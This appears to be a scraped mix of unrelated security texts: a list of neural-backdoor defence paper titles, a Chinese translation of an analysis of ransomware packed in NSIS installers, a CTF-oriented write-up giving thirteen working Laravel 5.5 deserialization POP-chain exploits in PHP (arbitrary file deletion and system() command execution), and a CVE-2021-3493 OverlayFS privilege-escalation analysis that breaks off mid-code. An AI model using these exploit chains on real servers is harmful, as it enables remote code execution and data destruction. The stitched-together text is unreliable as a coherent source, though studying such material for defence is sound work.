[1]A unified framework for analyzing and detecting malicious examples of dnn
models
[2]Cleann: Accelerated trojan shield for embedded neural networks
[3]Robust anomaly detection and backdoor attack detection via differential
privacy,
[4]Backdoor Attacks on Deep Neural Networks by Activation Clustering
[5]Spectral Signatures in Backdoor Attacks
[6]STRIP: A Defence Against Trojan Attacks on Deep Neural Networks
[7]Model Agnostic Defence against Backdoor Attacks in Machine Learning
[8]Februus: Input Purification Defense Against Trojan Attacks on Deep Neural
Network Systems
[9]Poison as a Cure: Detecting & Neutralizing Variable-Sized Backdoor Attacks
in Deep Neural Networks
[10]Fine-Pruning: Defending Against Backdooring Attacks on Deep Neural
Networks
[11]Neural Cleanse: Identifying and Mitigating Backdoor Attacks in Neural
Networks
[12]DeepInspect: A Black-box Trojan Detection and Mitigation Framework for
Deep Neural Networks
[13]TABOR: A Highly Accurate Approach to Inspecting and Restoring Trojan
Backdoors in AI Systems
[14]NeuronInspect: Detecting Backdoors in Neural Networks via Output
Explanations
[15]ABS: Scanning Neural Networks for Back-Doors by Artificial Brain
Stimulation
[16]Defending Neural Backdoors via Generative Distribution Modeling | 社区文章 |
# 【技术分享】勒索软件最新趋势——使用NSIS安装程序逃避检测
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://securingtomorrow.mcafee.com/mcafee-labs/ransomware-families-use-nsis-installers-to-avoid-detection-analysis/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[华为未然实验室](http://bobao.360.cn/member/contribute?uid=2794169747)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
恶意软件家族在不断寻求隐藏代码、阻止复制及逃避检测的新方法。勒索软件递送的最新趋势是使用带加密有效载荷的Nullsoft脚本安装系统(NSIS)。很多知名勒索软件均采用该技术，比如Cerber、Locky、Teerac、Crysis、CryptoWall及CTB-Locker。
我们很少看到多个家族一直使用相同的打包方法。在本文所述情况中，有效载荷依赖安装程序来执行，解密的恶意软件有效载荷不会接触磁盘。使用NSIS打包方法使我们较难采用批量采集技术采集和发现恶意软件。传入的样本可能只包含负责解压缩的DLL，不包含加密的有效载荷或NSIS安装程序。在本文中，我们将看看该种递送机制如何运作，为何使用这样的机制，及这种机制对试图研究恶意软件的研究人员提出的挑战。
**这种递送方法为何很流行？**
该攻击途径以垃圾邮件下载器的有效载荷为起始。不知情的用户打开包含恶意JavaScript或Word文档的电子邮件附件。恶意安装程序（检测为NSIS /
ObfusRansom。*）在％TEMP％中下载、启动并释放一个DLL文件和一个加密数据文件。安装程序随后加载负责解密和执行加密有效载荷的DLL。解包器DLL从NSIS安装程序的导入地址表中窃取五个API。然后，DLL将加密文件读入内存，转到文件中的随机硬编码偏移量，并解密解压缩、写入内存及执行加密恶意软件有效载荷所需的其他API。这种依赖性使得静态分析、仿真及复制变得更加困难，并产生了一种解密勒索软件不接触磁盘的递送系统。在分析这些打包器时，我们未发现提交到任何知名样品处理网站（比如VirusTotal）的解密的恶意软件可执行的样本。
**打包器执行**
以上流程图总结了该打包器的基本执行流程，发现各种水平的混淆均采用该流程，但功能上等同。我们选择了一个混淆程度较低的样本（MD5:
F9AE740F62811D2FB638952A71EF6F72），以方便技术解释。
大多数版本还尝试一定的代码流混淆来延迟静态分析。我们观察到的两种常见的代码流混淆方法是结合可报警Sleep调用的QueueUserAPC：
或结合除零的结构化异常处理：
这些方法均不是该递送方法所独有，在执行静态分析时也不是很难看到。一旦进入主函数，恶意软件首先进行反混淆三个乱码字符串。在某些情况下，在样本上运行“字符串”即可查看，如以下截图所示：
大多数情况下，这些字符串包含“Kernel32”（ Microsoft
API调用）和由安装程序释放的加密文件的名称。以下是正在解密的Kernel32的样本。所有这三个字符串都以类似的方式进行反混淆。
反混淆算法：
混淆字符串内存：
反混淆字符串内存：
字符串被反混淆后，恶意软件接下来会创建一个指向安装程序内存空间的指针，并保存FirstThunk和OriginalFirstThunk的偏移量（“thunk”是一个自动生成的代码段，用于协助调用另一个子例程）。本质上，OriginalFirstThunk是导入名称表，FirstThunk是导入地址表。
解包器DLL然后遍历OriginalFirstThunk，查找直接从相应的FirstThunk条目窃取和保存其地址所需的五个API的名称。该循环使用一些基于字符串大小和字母位置的基本逻辑来准确获取其所需的API。
GetProcAddress：
GetModuleHandle：
GetFileSize：
GlobalAlloc：
ReadFile：
这五个窃取的API用于将加密的文件读入内存，然后在其中解密其所需的第二层API。
打包器接下来准备有效载荷。当父NSIS安装程序运行时，其释放的其中一个文件是加密和压缩的文件。该文件是打包器正准备启动的恶意软件的主要有效载荷。正如我们提到的，我们的研究表明，该有效载荷可以是各种恶意软件（包括若干勒索软件变体）的有效载荷。
恶意软件首先使用CreateFile API打开有效载荷的文件句柄。有效载荷名称和扩展名是已经反混淆的字符串之一。
ECX值（文件名）：
恶意软件获取解密和读取文件所需的文件大小。然后使用文件大小为将要读入内存的文件新分配一块内存：
加密的文件现已存储在内存中，恶意软件开始通过解密API的名称来处理这个文件。我们研究的每个样本都具有API名称和硬编码在样本中的解密密钥的位置。我们还发现，这两项通常可以在文件的第一个0x1FFF字节中找到。API字符串的解密使用简单的算法在一个循环中完成。
加密API：
该代码混淆程度可能极高（视样本而定）。我们反编译了该样本，并将此循环中使用的解密算法简化为了如下所示的相关行：
do{
api = *(api_base + counter);
key = ~*(counter + randomoffset);
*(api_base + counter) = api & key | ~key & ~api;
++counter;
}while ( counter < 330 );
我们可以看到此处的“加密”是非常基础的。我们发现的一些样本具有稍微不同的解密算法，但都是对存储的密钥的非常基本的算术运算。该函数对密钥和加密值进行按位AND一次，然后再对这些值NOTed。然后对结果按位ORed。在我们的样本组中，被解密的字符串总是相同的，因此迭代次数保持恒定，为0x14A
(330)。
解密的API：
下一个主要任务是有效载荷本身的解密。下图显示了加密有效载荷的内存位置：
整个文件不经过解密流程（仅可执行文件本身经过）。恶意软件使用从GetFileSize收集的大小和硬编码值来确定要解密的字节数。
我们样本中有效载荷的解密算法与API解密算法相同。
基于循环结束时间，与API解密流程有一个小的明显不同之处。如上所示，ebx保存要解密的字节数，而现在充当计数器。
解密的有效载荷：
文件和API现已解密，随后恶意软件解压缩其有效载荷。恶意软件作者使用标准Windows
API执行压缩，并在解密后通过调用RtlDecompressBuffer再次使用。在这个API中，推送到栈上的“2”表示使用的压缩类型。根据Microsoft文档，2代表LZ解压缩。
有效载荷在内存中完全解密和解压缩后，我们现在可以使用Windbg的“.writemem”函数转储功能完整的独立有效载荷。这让我们可以研究有效载荷并确定其是否是已知的勒索软件变体，但是，这些具体的有效载荷尚未被常见的恶意软件研究网站观察到。
现在需要进行设置，以在内存中执行此有效载荷。解密的有效载荷从不接触磁盘，有助于降低被检测到的可能性。第一步是调用处于挂起状态的CreateProcess。恶意软件在此进程中执行：
CreateProcess
API后，恶意软件使用标准的进程空白技术。在准备将其有效载荷写入新线程过程中使用了VirtualAlloc、GetThreadContext、ReadProcessMemory及NtUnmapViewofSection。WriteProcessMemory将未加密的有效载荷复制到新线程中。接下来一个Sleep和ResumeThread调用启动线程。线程启动后，恶意软件立即终止父线程。
**总结**
这些样本的核心功能非常简单，未展现任何新的行为，但递送方法提出了一个新的有意思的挑战。在带加密有效载荷的NSIS安装程序中递送勒索软件已被证明是递送各种恶意软件的独特而有效的方法。目前，已研究的所有样本都只包含勒索软件的变体，但我们可以猜测，其他家族的恶意软件也在使用这种技术。我们已经观察到了广泛的反仿真方法、强的代码混淆技术及硬编码值的差异。字段和API所用的加密通常非常弱，并不是逆向或检测的主要挑战。原因很可能是一个威胁实施者在分发多种形式的勒索软件，或者是多个威胁实施者在使用相同的组来分发其勒索软件。 | 社区文章 |
# Laravel反序列化漏洞学习及再挖掘
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
做 web 类题目的时候发现 ctfshow 平台中 web 入门题目中有关于`PHP
框架漏洞`的题目，尝试自己挖掘链子，进一步学习在框架类中反序列化的链子挖掘方式。
## 前置知识
### 定义
序列化（串行化）：是将变量转换为可保存或传输的字符串的过程；
反序列化（反串行化）：就是在适当的时候把这个字符串再转化成原来的变量使用；
这两个过程结合起来，可以轻松地存储和传输数据，使程序更具维护性；
常见的php序列化和反序列化方式主要有：serialize，unserialize
### 常见的魔术方法
__construct()，类的构造函数
__destruct()，类的析构函数
__call()，在对象中调用一个不可访问方法时调用
__callStatic()，用静态方式中调用一个不可访问方法时调用
__get()，获得一个类的成员变量时调用
__set()，设置一个类的成员变量时调用
__isset()，当对不可访问属性调用isset()或empty()时调用
__unset()，当对不可访问属性调用unset()时被调用
__sleep()，执行serialize()时，先会调用这个函数
__wakeup()，执行unserialize()时，先会调用这个函数
__toString()，类被当成字符串时的回应方法
__invoke()，调用函数的方式调用一个对象时的回应方法
__set_state()，调用var_export()导出类时，此静态方法会被调用
__clone()，当对象复制完成时调用
__autoload()，尝试加载未定义的类
__debugInfo()，打印所需调试信息
### 寻找方式
寻找反序列化链子的常用思路是全局搜索`__destruct()`方法、`__wakeup()`方法或者直接搜索 `unserialize()`方法
## 漏洞范围
Laravel <= 5.5
## 环境搭建
### 源码下载
之前进行`ThinkPHP6.x`代码审计的时候通过`composer`拉取的源码没法打通挖掘的链子，这里为了避免这个问题，在网上直接找了一份之前的`Laravel5.5`的源码，[下载链接](https://anonfiles.com/j5edufSaud/laravel55_zip)
### 环境部署
在`routes/web.php`中添加路由
Route::get('/', "DemoController@demo");
在`app/Http/Controllers`目录下添加控制器
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class DemoController extends Controller
{
public function demo()
{
highlight_file(__FILE__);
if(isset($_GET['data'])){
$filename = "C:\Tools\phpstudy_pro\WWW\laravel55\public\info.php";
@unserialize(base64_decode($_GET['data']));
if(file_exists($filename)){
echo $filename." is exit!".PHP_EOL;
}else{
echo $filename." has been deleted!".PHP_EOL;
}
}
}
}
将源码用小皮面板进行搭建，访问`http://127.0.0.1/laravel55/public/index.php`，出现如下页面则说明环境部署成功
## 漏洞分析
### POP链-1(任意文件删除漏洞)
跟进`Pipes/WindowsPipes.php`中的`__destruct()`方法，发现其调用了一个`removeFiles()`方法，跟进去后发现是一个简单的任意文件删除漏洞
**exp**
<?php
namespace Symfony\Component\Process\Pipes {
class WindowsPipes {
private $files = array();
function __construct() {
$this->files = array("C:/Tools/phpstudy_pro/WWW/laravel51/public/info.php");
}
}
echo base64_encode(serialize(new WindowsPipes()));
}
?>
### POP链-2
跟进`src/Illuminate/Broadcasting/PendingBroadcast.php`中的`__destruct()`方法，发现`$this->events`和`$this->event`都是可控的，因此可以寻找一个`__call()`方法或者`dispatch()`方法来进行利用
先用`__call()`来做突破点，跟进`src/Faker/Generator.php`中的`__call()`方法，发现其调用了`format()`方法，进而调用`getFormatter()`方法
由于`getFormatter()`方法中的`$this->formatters[$formatter]`是可控的并直接 return
回上一层，因此可以利用该可控参数来进行命令执行 RCE 操作
**exp**
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
function __construct($events="", $event="") {
$this->events = $events;
$this->event = $event;
}
}
}
namespace Faker {
class Generator {
protected $formatters = array();
function __construct($func="") {
$this->formatters = ['dispatch' => $func];
}
}
}
namespace {
$demo1 = new Faker\Generator("system");
$demo2 = new Illuminate\Broadcasting\PendingBroadcast($demo1, "calc");
echo base64_encode(serialize($demo2));
}
?>
**POP链利用流程图**
### POP链-3
继续上面寻找可用的`__call()`方法，跟进`src/Illuminate/Validation/Validator.php`中的`__call()`方法，先进行字符串的操作截取`$method`第八个字符之后的字符，由于传入的字符串是`dispatch`，正好八个字符所以传入后为空，接着经过
if 逻辑调用`callExtension()`方法，触发`call_user_func_array`方法
**exp**
<?php
namespace Illuminate\Validation {
class Validator {
public $extensions = [];
public function __construct() {
$this->extensions = ['' => 'system'];
}
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Validation\Validator;
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($cmd)
{
$this->events = new Validator();
$this->event = $cmd;
}
}
echo base64_encode(serialize(new PendingBroadcast('calc')));
}
?>
**POP链利用流程图**
### POP链-4
跟进`src/Illuminate/Support/Manager.php`中的`__call()`方法，其调用`driver()`方法
跟进`createDriver()`方法，当`$this->customCreators[$driver]`存在时调用`callCustomCreator()`方法，进一步跟进`callCustomCreator()`方法，发现`$this->customCreators[$driver]`和`$this->app)`均是可控的，因此可以触发
RCE
**exp**
<?php
namespace Illuminate\Notifications {
class ChannelManager {
protected $app;
protected $customCreators;
protected $defaultChannel;
public function __construct() {
$this->app = 'calc';
$this->defaultChannel = 'H3rmesk1t';
$this->customCreators = ['H3rmesk1t' => 'system'];
}
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Notifications\ChannelManager;
class PendingBroadcast {
protected $events;
public function __construct()
{
$this->events = new ChannelManager();
}
}
echo base64_encode(serialize(new PendingBroadcast()));
}
?>
**POP链利用流程图**
### POP链-5
大致看了一遍`__call()`方法基本没有利用的地方了(太菜了找不到)，开始跟一下`dispath()`方法
先跟进`src/Illuminate/Events/Dispatcher.php`中的`dispatch()`方法，注意到`$listener($event,
$payload)`，尝试以这个为突破口来实现 RCE
看看`$listener`的值是如何来的，跟进`getListeners()`方法，这里可以先通过可控变量`$this->listeners[$eventName]`来控制`$listener`的值，接着进入数组合并函数，调用`getWildcardListeners()`方法，跟进去看一下，这里保持默认设置执行完之后会返回`$wildcards
=
[]`，接着回到数组合并函数合并之后还是`$this->listeners[$eventName]`的值，接着进入`class_exists()`函数，这里由于并不会存在一个命令执行函数的类名，因此可以依旧还是返回`$this->listeners[$eventName]`的值
控制了`$listener`的取值之后，将传入的`$event`的值作为命令执行函数的参数值即可来进行 RCE 操作
**exp**
<?php
namespace Illuminate\Events {
class Dispatcher {
protected $listeners = [];
public function __construct() {
$this->listeners = ["calc" => ["system"]];
}
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Events\Dispatcher;
class PendingBroadcast {
protected $events;
protected $event;
public function __construct() {
$this->events = new Dispatcher();
$this->event = "calc";
}
}
echo base64_encode(serialize(new PendingBroadcast()));
}
?>
**POP链利用流程图**
### POP链-6
继续跟`dispatch()`方法，跟进`src/Illuminate/Bus/Dispatcher.php`中的`dispatch()`方法，注意到该方法如果
if 语句判断为 true
的话，会进入`dispatchToQueue()`方法，跟进`dispatchToQueue()`方法发现`call_user_func()`方法
先看看怎么使得进入 if
语句的循环中，首先`$this->queueResolver`是可控的，跟进`commandShouldBeQueued()`方法，这里判断`$command`是否是`ShouldQueue`的实现，即传入的`$command`必须是`ShouldQueue`接口的一个实现，而且`$command`类中包含`connection`属性
这里找到两个符合条件的类`src/Illuminate/Notifications/SendQueuedNotifications.php`中的`SendQueuedNotifications`类和`src/Illuminate/Broadcasting/BroadcastEvent.php`中的`BroadcastEvent`类，当类是
use 了 trait 类，同样可以访问其属性，这里跟进`src/Illuminate/Bus/Queueable.php`
**exp**
<?php
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver = "system";
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Bus\Dispatcher;
class BroadcastEvent {
public $connection;
public $event;
public function __construct() {
$this->event = "calc";
$this->connection = $this->event;
}
}
class PendingBroadcast {
protected $events;
protected $event;
public function __construct() {
$this->events = new Dispatcher();
$this->event = new BroadcastEvent();
}
}
echo base64_encode(serialize(new PendingBroadcast()));
}
?>
**POP链利用流程图**
### POP链-7
继续接着上一条链子的`call_user_func()`方法往后，由于这里变量是可控的，因此可以调用任意类的方法，跟进`library/Mockery/Loader/EvalLoader.php`中的`load()`方法，这里如果不进入
if 循环从而触发到`getCode()`方法即可造成任意代码执行漏洞
看看 if
循环的判断条件，一路跟进调用，由于最后的`$this->name`是可控的，因此只需要给它赋一个不存在的类名值即可，可利用的`getName()`方法比较多，选一个能用的就行
**exp-1**
<?php
namespace Mockery\Generator {
class MockConfiguration {
protected $name = 'H3rmesk1t';
}
class MockDefinition {
protected $config;
protected $code;
public function __construct() {
$this->config = new MockConfiguration();
$this->code = "<?php system('calc');?>";
}
}
}
namespace Mockery\Loader {
class EvalLoader {}
}
namespace Illuminate\Bus {
use Mockery\Loader\EvalLoader;
class Dispatcher {
protected $queueResolver;
public function __construct() {
$this->queueResolver = [new EvalLoader(), 'load'];
}
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Bus\Dispatcher;
use Mockery\Generator\MockDefinition;
class BroadcastEvent {
public $connection;
public function __construct() {
$this->connection = new MockDefinition();
}
}
class PendingBroadcast {
protected $events;
protected $event;
public function __construct() {
$this->events = new Dispatcher();
$this->event = new BroadcastEvent();
}
}
echo base64_encode(serialize(new PendingBroadcast()));
}
?>
**exp-2**
<?php
namespace Symfony\Component\HttpFoundation {
class Cookie {
protected $name = "H3rmesk1t";
}
}
namespace Mockery\Generator {
use Symfony\Component\HttpFoundation\Cookie;
class MockDefinition {
protected $config;
protected $code;
public function __construct($code) {
$this->config = new Cookie();
$this->code = $code;
}
}
}
namespace Mockery\Loader {
class EvalLoader {}
}
namespace Illuminate\Bus {
use Mockery\Loader\EvalLoader;
class Dispatcher {
protected $queueResolver;
public function __construct() {
$this->queueResolver = [new EvalLoader(), 'load'];
}
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Bus\Dispatcher;
use Mockery\Generator\MockDefinition;
class BroadcastEvent {
public $connection;
public function __construct() {
$this->connection = new MockDefinition("<?php system('calc');?>");
}
}
class PendingBroadcast {
protected $events;
protected $event;
public function __construct() {
$this->events = new Dispatcher();
$this->event = new BroadcastEvent();
}
}
echo base64_encode(serialize(new PendingBroadcast()));
}
?>
**POP链利用流程图**
### POP链-8
跟进`lib/classes/Swift/KeyCache/DiskKeyCache.php`中的`__destruct()`方法，这里的`$this->_keys`是可控的
继续看看 foreach 中调用的`clearAll()`方法，当`array_key_exists()`判断为 true 时进入
foreach，接着调用`clearKey()`方法，进入 if
判断后调用`hasKey()`方法，由于这里的`$this->_path`是可控的，因此可以给其赋值为一个类名从而触发该类中的`__toString()`方法
这里可以选择`library/Mockery/Generator/DefinedTargetClass.php`中的`__toString()`方法作为触发的点，其先会调用`getName()`方法，且该方法中的`$this->rfc`是可控的，因此可以来触发一个没有`getName()`方法的类从而来触发该类中的`__call()`方法
全局搜索`__call()`方法，跟进`src/Faker/ValidGenerator.php`中的`__call()`方法，其 while
语句内的`$this->validator`是可控的，当`$res`能够是命令执行函数的参数时即可触发命令执行
RCE，由于`$this->generator`也是可控的，因此可以寻找一个能够有返回参数值的方法类来达到返回命令执行函数参数的目的从而 RCE
这里可以用`src/Faker/DefaultGenerator.php`来做触发点，当前面设置的方法不存在时这里就会触发到`__call()`方法，从而返回可控参数`$this->default`的值
**exp**
<?php
namespace Faker {
class DefaultGenerator {
protected $default;
public function __construct($payload) {
$this->default = $payload;
}
}
class ValidGenerator {
protected $generator;
protected $validator;
protected $maxRetries;
public function __construct($payload) {
$this->generator = new DefaultGenerator($payload);
$this->validator = "system";
$this->maxRetries = 1; // 不设置值的话默认是重复10000次
}
}
}
namespace Mockery\Generator {
use Faker\ValidGenerator;
class DefinedTargetClass {
private $rfc;
public function __construct($payload) {
$this->rfc = new ValidGenerator($payload);
}
}
}
namespace {
use Mockery\Generator\DefinedTargetClass;
class Swift_KeyCache_DiskKeyCache {
private $path;
private $keys = ['H3rmesk1t' => ['H3rmesk1t' => 'H3rmesk1t']];
public function __construct($payload) {
$this->path = new DefinedTargetClass($payload);
}
}
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache("calc")));
}
?>
**POP链利用流程图**
### POP链-9
起始点和终点的利用链和`POP链-8`一样，将`__toString()`的触发点变一下，跟进`lib/classes/Swift/Mime/SimpleMimeEntity.php`中的`__toString()`方法，其调用了`toString()`方法，由于`$this->_headers`是可控的，因此可以接上上一条链子的`__call()`方法利用进行
RCE 操作
**exp**
<?php
namespace Faker {
class DefaultGenerator {
protected $default;
public function __construct($payload) {
$this->default = $payload;
}
}
class ValidGenerator {
protected $generator;
protected $validator;
protected $maxRetries;
public function __construct($payload) {
$this->generator = new DefaultGenerator($payload);
$this->validator = "system";
$this->maxRetries = 1; // 不设置值的话默认是重复10000次
}
}
}
namespace {
use Faker\ValidGenerator;
class Swift_Mime_SimpleMimeEntity {
private $headers;
public function __construct($payload) {
$this->headers = new ValidGenerator($payload);
}
}
class Swift_KeyCache_DiskKeyCache {
private $path;
private $keys = ['H3rmesk1t' => ['H3rmesk1t' => 'H3rmesk1t']];
public function __construct($payload) {
$this->path = new Swift_Mime_SimpleMimeEntity($payload);
}
}
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache("calc")));
}
?>
**POP链利用流程图**
### POP链-10
起始点和`POP链-8`一样，从`__toString()`开始，跟进`src/Prophecy/Argument/Token/ObjectStateToken.php`中的`__toString()`方法，这里`$this->util`和`$this->value`均可控
接着后面利用`POP链-2`后半段的`__call()`触发方法即可进行命令执行操作从而达到 RCE
**exp**
<?php
namespace Faker {
class Generator {
protected $formatters = array();
function __construct() {
$this->formatters = ['stringify' => "system"];
}
}
}
namespace Prophecy\Argument\Token {
use Faker\Generator;
class ObjectStateToken {
private $name;
private $value;
private $util;
public function __construct($payload) {
$this->name = "H3rmesk1t";
$this->util = new Generator();;
$this->value = $payload;
}
}
}
namespace {
use Prophecy\Argument\Token\ObjectStateToken;
class Swift_KeyCache_DiskKeyCache {
private $path;
private $keys = ['H3rmesk1t' => ['H3rmesk1t' => 'H3rmesk1t']];
public function __construct($payload) {
$this->path = new ObjectStateToken($payload);
}
}
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache("calc")));
}
?>
**POP链利用流程图**
### POP链-11
起始点和终点的利用链和`POP链-10`一样，将`__toString()`的触发点变一下，跟进`src/Prophecy/Argument/Token/IdenticalValueToken.php`中的`__toString()`方法，这里`$this->string`、`$this->util`和`$this->value`均可控
**exp**
<?php
namespace Faker {
class Generator {
protected $formatters = array();
function __construct() {
$this->formatters = ['stringify' => "system"];
}
}
}
namespace Prophecy\Argument\Token {
use Faker\Generator;
class IdenticalValueToken {
private $string;
private $value;
private $util;
public function __construct($payload) {
$this->name = null;
$this->util = new Generator();;
$this->value = $payload;
}
}
}
namespace {
use Prophecy\Argument\Token\IdenticalValueToken;
class Swift_KeyCache_DiskKeyCache {
private $path;
private $keys = ['H3rmesk1t' => ['H3rmesk1t' => 'H3rmesk1t']];
public function __construct($payload) {
$this->path = new IdenticalValueToken($payload);
}
}
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache("calc")));
}
?>
**POP链利用流程图**
### POP链-12
起始点和终点的利用链和`POP链-10`一样，将`__toString()`的触发点变一下，跟进`src/Prophecy/Argument/Token/ExactValueToken.php`中的`__toString()`方法，这里`$this->string`、`$this->util`和`$this->value`均可控
**exp**
<?php
namespace Faker {
class Generator {
protected $formatters = array();
function __construct() {
$this->formatters = ['stringify' => "system"];
}
}
}
namespace Prophecy\Argument\Token {
use Faker\Generator;
class ExactValueToken {
private $string;
private $value;
private $util;
public function __construct($payload) {
$this->name = null;
$this->util = new Generator();;
$this->value = $payload;
}
}
}
namespace {
use Prophecy\Argument\Token\ExactValueToken;
class Swift_KeyCache_DiskKeyCache {
private $path;
private $keys = ['H3rmesk1t' => ['H3rmesk1t' => 'H3rmesk1t']];
public function __construct($payload) {
$this->path = new ExactValueToken($payload);
}
}
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache("calc")));
}
?>
**POP链利用流程图**
### POP链-13
前半段链子和之前的其它链子一样都行，只要能触发到`__call()`方法)，接着跟进`src/Illuminate/Database/DatabaseManager.php`中的`__call()`方法，其调用了`connection()`方法，跟进去，这里要让其进入`makeConnection()`方法从而来利用`call_user_func()`方法来进行
RCE
跟进`getConfig()`方法，继续跟进`Arr::get($connections,
$name)`，可以看到经过`get()`方法返回回来的`$config`的值是可控的，可以将命令执行函数返回回来，从而导致 RCE
**exp**
<?php
namespace Illuminate\Database{
class DatabaseManager{
protected $app;
protected $extensions ;
public function __construct($payload)
{
$this->app['config']['database.default'] = $payload;
$this->app['config']['database.connections'] = [$payload => 'system'];
$this->extensions[$payload]='call_user_func';
}
}
}
namespace Mockery\Generator {
use Illuminate\Database\DatabaseManager;
class DefinedTargetClass {
private $rfc;
public function __construct($payload) {
$this->rfc = new DatabaseManager($payload);
}
}
}
namespace {
use Mockery\Generator\DefinedTargetClass;
class Swift_KeyCache_DiskKeyCache {
private $path;
private $keys = ['H3rmesk1t' => ['H3rmesk1t' => 'H3rmesk1t']];
public function __construct($payload) {
$this->path = new DefinedTargetClass($payload);
}
}
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache("calc")));
}
?>
**POP链利用流程图** | 社区文章 |
# CVE-2021-3493 Ubuntu内核OverlayFS权限逃逸漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前置知识
### Overlay文件系统
`Overlayfs`是一种堆叠文件系统，它依赖并建立在其它的文件系统之上（例如`ext4fs`和`xfs`等等），并不直接参与磁盘空间结构的划分，仅仅将原来底层文件系统中不同的目录进行“合并”，然后向用户呈现。因此对于用户来说，它所见到的`overlay`文件系统根目录下的内容就来自挂载时所指定的不同目录的“合集”。如下图所示
其挂载文件的基本命令如下：
mount -t overlay overlay -o lowerdir=lower1:lower2:lower3,upperdir=upper,workdir=work merged。
其中`lower1:lower2:lower3`表示不同的lower层目录，不同的目录使用`:`分隔，层次关系依次为`lower1 > lower2 >
lower3`
* upper层是目录和文件系统挂载后用于存放临时和间接文件的工作基目录（work base dir）
* merged目录就是最终的挂载点目录
正常执行以上命令后，`overlayfs`就成功挂载到`merged`目录下了。
### Linux Namespace
`User namespace`是`Linux 3.8`新增的一种`namespace`，用于隔离安全相关的资源，包括`user IDs and group
IDs，keys, capabilities`。一个用户可以在一个`user namespace`中是普通用户，但在另一个`user
namespace`中是超级用户。
`User namespace`可以嵌套(目前内核控制最多32层)，除了系统默认的`user namespace`外，所有的`user
namespace`都有一个父`user namespace`，每个 `user namespace`都可以有零到多个子`user
namespace`。当在一个进程中调用 `unshare`或者`clone`创建新的`user namespace`时，当前进程原来所在的 `user
namespace`为父`user namespace`，新的`user namespace 为子 user namespace`。
### Capabilitiy提权
`Capabilities`机制是在`Linux
2.2`之后引入的，原理很简单，就是将之前与超级用户`root（UID=0`关联的特权细分为不同的功能组，`Capabilites`作为线程（Linux并不真正区分进程和线程）的属性存在，每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类，具有相似功能的内核调用被分到同一组中。
每个进程都有五个·`capability`集合：`Permitted，Inheritable，Effective，Ambient，Bounding`。文件的`capability`保存在文件的扩展属性`security.capability`中。文件有三个`capabilitiy`集合：`Permitted，Inheritable，Effective`。文件的`capability`和进程的`capability`一起来决定在执行`execve`后，进程的`capability`。
在执行特权操作时，如果线程的有效身份不是`root`，就去检查其是否具有该特权操作所对应的`capabilities`，并以此为依据，决定是否可以执行特权操作。比如`ping`程序需要打开套接字，但是需要`root`权限才能打开套接字，此时就可通过设置`capabilities`来让普通用户使用`ping`
如果一个程序具有较高的`capabilities`且存在漏洞，那么攻击者就可以利用这个程序进行提权。
## 漏洞分析
实验环境：`Linux ubuntu 5.8.0-48-generic #54~20.04.1-Ubuntu SMP Sat Mar 20 13:40:25
UTC 2021 x86_64 x86_64 x86_64 GNU/Linux`
5.8版本内核主线代码，`ovl_fs_type`结构体定义如下
//https://github.com/torvalds/linux/blob/bcf876870b95592b52519ed4aafcf9d95999bc9c/fs/overlayfs/super.c#L1947
static struct file_system_type ovl_fs_type = {
.owner = THIS_MODULE,
.name = "overlay",
.mount = ovl_mount,
.kill_sb = kill_anon_super,
};
MODULE_ALIAS_FS("overlay");
`Ubuntu
20.04`对该结构体进行了修改，添加了`fs_flags`数据域，并设置为`FS_USERNS_MOUNT`，表示将允许一个普通用户在低权限用户命名空间中`mount`一个`overlayfs`文件系统
#https://launchpadlibrarian.net/528725861/linux_5.8.0-48.54.diff.gz
@@ -1949,6 +1964,7 @@
.name = "overlay",
.mount = ovl_mount,
.kill_sb = kill_anon_super,
+ .fs_flags = FS_USERNS_MOUNT,
};
MODULE_ALIAS_FS("overlay");
mount时会进入`mount_capable`函数，此时`fs->flags = FS_USERNS_MOUNT`进入`ns_capable`
bool mount_capable(struct fs_context *fc)
{
if (!(fc->fs_type->fs_flags & FS_USERNS_MOUNT))
return capable(CAP_SYS_ADMIN);
else
return ns_capable(fc->user_ns, CAP_SYS_ADMIN);
}
调用链如下
进入`ns_capable_common`时
static bool ns_capable_common(struct user_namespace *ns,
int cap,
unsigned int opts)
{
...
capable = security_capable(current_cred(), ns, cap, opts);
if (capable == 0) {
current->flags |= PF_SUPERPRIV;//这里设置了current->flags为PF_SUPERPRIV，即在当前进程上设置超级权限，并返回ture。所以通过挂载overlay文件系统，当前进程具备了超级权限。
return true;
}
return false;
}
当对`setxattr()`文件扩展属性的`capabilitiy`进行设置时，权限校验不彻底，进入`cap_convert_nscap()`函数时，
int cap_convert_nscap(struct dentry *dentry, void **ivalue, size_t size)
{
...
if (size == XATTR_CAPS_SZ_2)
if (ns_capable(inode->i_sb->s_user_ns, CAP_SETFCAP))
/* user is privileged, just write the v2 */
return size;
}
如果是`capabilitiy`版本2，则直接调用`ns_capable()`进行检验，根据注释可知，如果`user`有超级权限，则直接写入并返回。
因为当前访问的`inode`属于`overlay`文件系统。从`cap_convert_nscap(`)函数正确返回后，随即进入`vfs_setxattr()`函数，接下来分发到`overlay`文件系统对应的`ovl_xattr_set()`函数中
int ovl_xattr_set(struct dentry *dentry, struct inode *inode, const char *name,
const void *value, size_t size, int flags)
{
int err;
struct dentry *upperdentry = ovl_i_dentry_upper(inode);
struct dentry *realdentry = upperdentry ?: ovl_dentry_lower(dentry);
